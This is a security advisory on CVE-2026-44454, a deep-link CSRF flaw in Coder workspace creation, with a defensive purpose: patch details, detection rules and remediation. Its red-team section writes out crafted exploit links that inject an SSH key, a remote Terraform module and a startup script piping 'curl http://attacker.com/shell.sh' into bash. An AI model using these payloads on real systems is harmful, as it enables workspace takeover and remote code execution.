CVE-2026-44454

Executive Summary

CVE-2026-44454 is a high-severity vulnerability (CVSS 8.1) in Coder, a platform for provisioning remote development environments via Terraform. The flaw resides in the workspace creation flow when using mode=auto deep links. Prior to versions 2.29.7 and 2.30.2, an attacker could craft a malicious deep link containing attacker-controlled parameters (param.*). When a victim clicks such a link, a workspace is silently provisioned without any explicit user confirmation. This allows an attacker to execute arbitrary Terraform code, potentially leading to remote code execution, data exfiltration, or lateral movement within the victim's infrastructure.

The vulnerability is a classic Cross-Site Request Forgery (CSRF) / UI redressing issue, where the user's session is hijacked to perform an unintended action. The patch adds a consent dialog that displays all prefilled parameters and requires explicit user confirmation before workspace creation.

Supply Chain & Package Security

Coder is a Go-based application. The vulnerability does not directly affect a package manager (NPM, PyPI, Go, Ruby) but impacts the Coder server itself. However, the exploitation chain may involve downloading malicious Terraform modules from public registries, which could be considered a supply chain risk. Organizations should ensure that Terraform module sources are restricted and validated.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network via a crafted deep link.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to craft a URL.
• Privileges Required (PR): None (N) - The attacker does not need any authentication.
• User Interaction (UI): Required (R) - The victim must click the malicious deep link.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - An attacker can potentially read sensitive data from the workspace.
• Integrity (I): High (H) - An attacker can modify workspace configuration or deploy malicious code.
• Availability (A): High (H) - An attacker could disrupt workspace operations or deploy resource-intensive workloads.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges required) and can lead to severe consequences. The EPSS score of 0.0% suggests low exploitation activity in the wild, but this may change as details become public.

Deep Dive & Mechanics

Coder uses deep links (URLs) to allow users to quickly create workspaces with predefined parameters. The mode=auto parameter in the deep link triggers automatic workspace creation without user interaction. The vulnerability lies in the fact that the param.* query parameters are directly passed to the Terraform provisioning engine without validation or user confirmation.

Attack Flow:

1. An attacker crafts a URL like: https://coder.example.com/workspaces/new?mode=auto&param.region=us-east-1&param.instance_type=t2.micro&param.ssh_key=attacker_public_key
2. The attacker sends this link to a victim (e.g., via email, chat, or a phishing page).
3. The victim, who is authenticated to the Coder instance, clicks the link.
4. The Coder server processes the request, creates a workspace with the attacker-controlled parameters, and provisions it using Terraform.
5. The attacker can now access the workspace (e.g., via SSH with the injected key) and execute arbitrary commands.

The vulnerability is a form of CSRF combined with parameter injection. The mode=auto deep link bypasses the normal UI flow that would require user confirmation.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.29.7 / 2.30.2): The workspace creation endpoint directly processes param.* query parameters and triggers Terraform provisioning without any confirmation dialog.

// Vulnerable handler (simplified)
func createWorkspaceHandler(w http.ResponseWriter, r *http.Request) {
    params := r.URL.Query()
    // Directly pass params to Terraform
    terraform.Apply(params)
    // Workspace created silently
}

Patched Code (2.29.7 / 2.30.2): The patch introduces a consent dialog that displays all prefilled parameters and requires explicit user confirmation.

// Patched handler (simplified)
func createWorkspaceHandler(w http.ResponseWriter, r *http.Request) {
    params := r.URL.Query()
    if mode == "auto" {
        // Show consent dialog with params
        renderConsentDialog(params)
        // Wait for user to click "Confirm and Create"
        if !userConfirmed() {
            return
        }
    }
    terraform.Apply(params)
}

The key change is the addition of a user confirmation step that blocks automatic provisioning.

Exploitation & Lab Setup

Red Team

Objective: Exploit CVE-2026-44454 to gain unauthorized access to a Coder workspace.

Lab Setup:

1. Deploy a vulnerable Coder instance (version < 2.29.7 or < 2.30.2).
2. Create a user account and obtain a valid session cookie.
3. Craft a malicious deep link with attacker-controlled parameters.

Exploit Steps:

1. Identify the Coder instance URL (e.g., https://coder.victim.com).
2. Craft a deep link that injects an SSH public key:

   https://coder.victim.com/workspaces/new?mode=auto&param.ssh_authorized_keys=ssh-rsa AAAAB3NzaC1yc2E... attacker@evil.com
   

3. Send the link to the victim (phishing email, chat message, etc.).
4. When the victim clicks the link, a workspace is created with the attacker's SSH key.
5. The attacker scans the Coder instance for the new workspace IP and connects via SSH.

Advanced Exploitation:

• Inject malicious Terraform modules: param.terraform_module=github.com/attacker/malicious-module
• Exfiltrate environment variables: param.env.FOO=exfiltrated_value
• Deploy a reverse shell: param.startup_script=curl http://attacker.com/shell.sh | bash

Blue Team

Detection:

• Monitor for deep links with mode=auto and unusual param.* values.
• Alert on workspace creation events that occur without a corresponding UI session.
• Review logs for workspace creation requests with mode=auto and no prior user interaction.

Hunting:

• Search for deep links in web proxy logs: mode=auto and param.*.
• Correlate workspace creation events with user authentication logs.
• Check for workspaces created with unexpected SSH keys or startup scripts.

Mitigation:

• Apply the patch immediately (upgrade to 2.29.7 or 2.30.2).
• If patching is not possible, disable mode=auto deep links via configuration.
• Implement additional CSRF protections (e.g., CSRF tokens for deep links).
• Educate users about phishing attacks involving deep links.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /workspaces/new?mode=auto&param.*
  • Unusual SSH connections from unknown IPs to workspace instances.
  • Outbound connections from workspaces to attacker-controlled servers (e.g., for reverse shells).

• Host:

  • Unexpected SSH authorized keys in workspace instances.
  • Suspicious startup scripts or cron jobs.
  • Unusual processes or network connections from workspace containers.

• Logs:

  • Coder audit logs showing workspace creation with mode=auto and no prior user interaction.
  • Web server logs with mode=auto in the query string.

Detection Engineering

YARA Rule

rule CVE_2026_44454_Coder_DeepLink {
    meta:
        description = "Detects CVE-2026-44454 exploitation attempts via deep links"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44454"
    strings:
        $deep_link = "mode=auto"
        $param = "param."
    condition:
        all of them
}

Sigma Rule

title: Coder Workspace Creation via mode=auto Deep Link
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects workspace creation requests with mode=auto deep links, indicating potential CVE-2026-44454 exploitation.
author: Valters IT
logsource:
    category: webserver
    product: coder
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'mode=auto'
        cs-uri-query|contains: 'param.'
    condition: selection
falsepositives:
    - Legitimate use of deep links by administrators
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2026-44454 - Coder Workspace Creation via mode=auto Deep Link";
    flow:to_server;
    content:"mode=auto";
    http_uri;
    content:"param.";
    http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

• Upgrade Coder to version 2.29.7 or 2.30.2.
• If upgrade is not possible, disable mode=auto deep links by setting CODER_DISABLE_AUTO_DEEP_LINKS=true in the server configuration.

Long-term:

• Implement CSRF tokens for all state-changing requests, including deep links.
• Add rate limiting on workspace creation endpoints.
• Conduct security awareness training for users to recognize phishing attempts.
• Regularly audit workspace configurations for unauthorized changes.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests containing mode=auto and param. in the query string.

Valters IT